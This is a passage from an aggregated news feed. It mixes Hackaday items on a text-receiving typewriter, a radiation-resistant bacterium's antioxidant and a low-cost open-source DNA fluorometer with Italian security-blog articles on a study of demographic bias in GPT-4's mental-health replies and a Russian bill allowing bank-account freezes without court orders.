Beyond receiving messages, [Sam] is working on features like replying to texts directly from the typewriter. For those still familiar with the art form of typing on a typewriter: how would you elegantly combine these old machines with modern technology? While you’re thinking, don’t overlook part two, which gives a deeper insight in the software behind this marvel!

youtube.com/embed/QkY-vZrAu2g?…

hackaday.com/2024/12/18/back-t…

L’anonimato di Internet sta diventando un’ancora di salvezza per milioni di americani in cerca di supporto psicologico. Secondo una recente ricerca, più di 150 milioni di persone negli Stati Uniti vivono in aree con una grave carenza di professionisti della salute mentale, costringendole a rivolgersi ai social network per chiedere aiuto.

I ricercatori del MIT, della New York University e dell’UCLA hanno studiato più di 12.000 post Reddit e 70.000 risposte da 26 subreddit sulla salute mentale. Lo scopo dello studio: sviluppare criteri con cui sarà possibile valutare le capacità di supporto psicologico di grandi modelli linguistici come GPT-4.

Nell’esperimento, due psicologi clinici hanno analizzato 50 richieste di aiuto selezionate casualmente su Reddit. Ogni post era accompagnato da una risposta reale di un altro utente della piattaforma o da un testo generato dall’intelligenza artificiale. Gli esperti, senza conoscere l’origine delle risposte, hanno valutato caso per caso il livello di empatia.

I risultati sono stati sorprendenti. GPT-4 non solo ha dimostrato una maggiore empatia, ma è stato anche più efficace del 48% nel motivare le persone a apportare cambiamenti positivi.

Ma ecco cosa è allarmante: l’IA si è rivelata un terapista piuttosto parziale. I livelli di empatia nelle risposte GPT-4 sono diminuiti del 2-15% per gli utenti neri e del 5-17% per gli utenti asiatici rispetto ai bianchi o a coloro la cui razza non era specificata.

Per confermarlo, i ricercatori hanno campionato post che includevano indicatori demografici espliciti (ad esempio, “sono una donna nera di 32 anni”) e riferimenti impliciti a gruppi (ad esempio, menzionando i capelli naturali come indicatore della razza).

Quando le informazioni demografiche erano incluse esplicitamente o implicitamente nei messaggi, le persone avevano maggiori probabilità di mostrare una maggiore empatia, soprattutto dopo segnali indiretti. GPT-4, al contrario, ha generalmente mantenuto un tono coerente indipendentemente dalle caratteristiche demografiche dell’autore del post (ad eccezione delle donne di colore).

Anche la struttura e il contesto della query influenzano in modo significativo la qualità delle risposte del modello linguistico. Un ruolo importante viene giocato specificando lo stile di comunicazione (clinica, social-media) e il modo in cui vengono utilizzate le caratteristiche demografiche del paziente.

La rilevanza dello studio è dimostrata dai recenti tragici eventi. Nel marzo dello scorso anno, un uomo belga si è suicidato dopo aver comunicato con il chatbot ELIZA, che funziona sul modello linguistico GPT-J. Un mese dopo, la National Eating Disorders Association è stata costretta a chiudere il suo bot Tessa, che aveva iniziato a fornire consigli dietetici ai pazienti con disturbi alimentari.

La professoressa Marzieh Ghassemi del MIT sottolinea che i modelli linguistici sono già utilizzati attivamente nelle istituzioni mediche per automatizzare i processi di routine. In un’intervista, ha condiviso le sue scoperte: “Abbiamo scoperto che gli attuali modelli linguistici, sebbene meno focalizzati sui fattori demografici rispetto alle persone nel contesto del supporto psicologico, producono ancora risposte diverse per diversi gruppi di pazienti. Abbiamo un grande potenziale per migliorare questi modelli in modo che possano fornire cure migliori e più efficaci”.

L'articolo L’IA come Terapista? Dimostra empatia, ma con pregiudizi nascosti. Lo studio del MIT/UCLA proviene da il blog della sicurezza informatica.

Il Ministero degli Affari Interni (MVD) della Federazione Russa ha ricevuto l’approvazione dalla Commissione governativa per l’attività legislativa per una proposta di legge che consentirà a investigatori e inquirenti di bloccare temporaneamente i conti bancari sospetti senza un’autorizzazione giudiziaria. Questa misura mira a contrastare più efficacemente le frodi informatiche e telefoniche, accelerando il processo di risarcimento per le vittime di tali crimini. La notizia è stata riportata da SecurityLab.ru nel loro articolo del 9 dicembre 2024.

Dettagli della proposta legislativa

1. Blocco immediato senza decisione giudiziaria:
   Gli investigatori, previa approvazione dai loro superiori, e gli inquirenti, con il consenso del procuratore, potranno ordinare alle banche di bloccare conti, depositi e fondi elettronici associati ad attività sospette.
2. Durata del blocco:
   Il provvedimento potrà durare massimo 10 giorni. Se durante questo periodo non si trovano prove sufficienti, il blocco verrà revocato automaticamente.
3. Identificazione del conto:
   Le banche saranno obbligate ad agire entro 24 ore dalla notifica. Sarà sufficiente fornire informazioni come il numero di telefono o della carta per identificare il conto da bloccare.
4. Accesso alle informazioni bancarie:
   La legge prevede inoltre l’accesso diretto alle informazioni bancarie senza necessità di un ordine giudiziario. Questa estensione dei poteri d’indagine è controversa e solleva questioni relative alla riservatezza dei dati personali.

Reazioni e dibattito

• Banca Centrale russa:
  Ha espresso preoccupazione per la possibile violazione della privacy e ha proposto di limitare l’applicazione della legge a sole cinque categorie di reati specifici del Codice Penale. Tale proposta è stata respinta dal MVD e dalla Procura Generale, che sostengono invece un’applicazione più ampia per combattere vari tipi di crimini finanziari.
• Bilanciamento tra sicurezza e privacy:
  Il provvedimento mira a contrastare la crescente minaccia delle frodi online e telefoniche, garantendo un rapido risarcimento alle vittime. Tuttavia, la possibilità di accedere alle informazioni finanziarie senza controllo giudiziario potrebbe minare la fiducia dei cittadini nelle istituzioni finanziarie e violare i diritti fondamentali alla privacy.

Implicazioni per la cybersicurezza

Questa misura evidenzia una tendenza globale verso una maggiore rigidità nel contrastare i crimini finanziari, ma pone questioni rilevanti:

1. Prevenzione dei crimini informatici:
   Un blocco tempestivo può prevenire il trasferimento fraudolento di fondi, riducendo l’impatto delle frodi.
2. Protezione dei dati personali:
   L’assenza di una supervisione giudiziaria immediata potrebbe portare a un uso improprio delle informazioni personali e a possibili abusi di potere.
3. Conformità e applicazione:
   Le banche dovranno adattarsi rapidamente a queste nuove normative, garantendo processi di blocco efficienti entro le 24 ore richieste.

Questa nuova proposta legislativa del MVD rappresenta un passo significativo nella lotta contro le frodi digitali, ma pone sfide complesse per la cybersicurezza, la protezione dei dati e il rispetto dei diritti civili. Sarà cruciale monitorare l’applicazione pratica di questa legge per garantire che il bilanciamento tra sicurezza e tutela della privacy sia rispettato.

L'articolo Il Ministero degli Affari Interni russo potrà bloccare i conti bancari proviene da il blog della sicurezza informatica.

Extremophile lifeforms on Earth are capable of rather astounding feats, with the secret behind the extreme radiation resistance of one of them now finally teased out by researchers. As one of the most impressive extremophiles, Deinococcus radiodurans is able to endure ionizing radiation levels thousands of times higher than what would decisively kill a multicellular organism like us humans. The trick is the antioxidant which this bacterium synthesizes from multiple metabolites that combine with manganese. An artificial version of this antioxidant has now been created that replicates the protective effect.

The ternary complex dubbed MDP consists of manganese ions, phosphate and a small peptide, which so far has seen application in creating vaccines for chlamydia. As noted in a 2023 study in Radiation Medicine and Protection by [Feng Liu] et al. however, the D. radiodurans bacterium has more survival mechanisms than just this antioxidant. Although much of the ionizing radiation is neutralized this way, it can not be fully prevented. This is where the highly effective DNA repair mechanism comes into play, along with a range of other adaptations.

The upshot of this is the synthesis of a very effective and useful antioxidant, but as alluded to in the press releases, just injecting humans with MDP will not instantly give them the same super powers as our D. radiodurans buddy.

Featured image: Survival mechanisms in Deinococcus radiodurans bacterium. (Credit: Feng Liu et al., 2023)

hackaday.com/2024/12/18/bacter…

Back in the bad old days, dealing with DNA and RNA in a lab setting was often fraught with peril. Detection technologies were limited to radioisotopes and hideous chemicals like ethidium bromide, a cherry-red solution that was a fast track to cancer if accidentally ingested. It took time, patience, and plenty of training to use them, and even then, mistakes were commonplace.

Luckily, things have progressed a lot since then, and fluorescence detection of nucleic acids has become much more common. The trouble is that the instruments needed to quantify these signals are priced out of the range of those who could benefit most from them. That’s why [Will Anderson] et al. came up with DIYNAFLUOR, an open-source nucleic acid fluorometer that can be built on a budget. The chemical principles behind fluorometry are simple — certain fluorescent dyes have the property of emitting much more light when they are bound to DNA or RNA than when they’re unbound, and that light can be measured easily. DIYNAFLUOR uses 3D-printed parts to hold a sample tube in an optical chamber that has a UV LED for excitation of the sample and a TLS2591 digital light sensor to read the emitted light. Optical bandpass filters clean up the excitation and emission spectra, and an Arduino runs the show.

The DIYNAFLUOR team put a lot of effort into making sure their instrument can get into as many hands as possible. First is the low BOM cost of around $40, which alone will open a lot of opportunities. They’ve also concentrated on making assembly as easy as possible, with a solder-optional design and printed parts that assemble with simple fasteners. The obvious target demographic for DIYNAFLUOR is STEM students, but the group also wants to see this used in austere settings such as field research and environmental monitoring. There’s a preprint available that shows results with commercial fluorescence nucleic acid detection kits, as well as detailing homebrew reagents that can be made in even modestly equipped labs.

hackaday.com/2024/12/18/simple…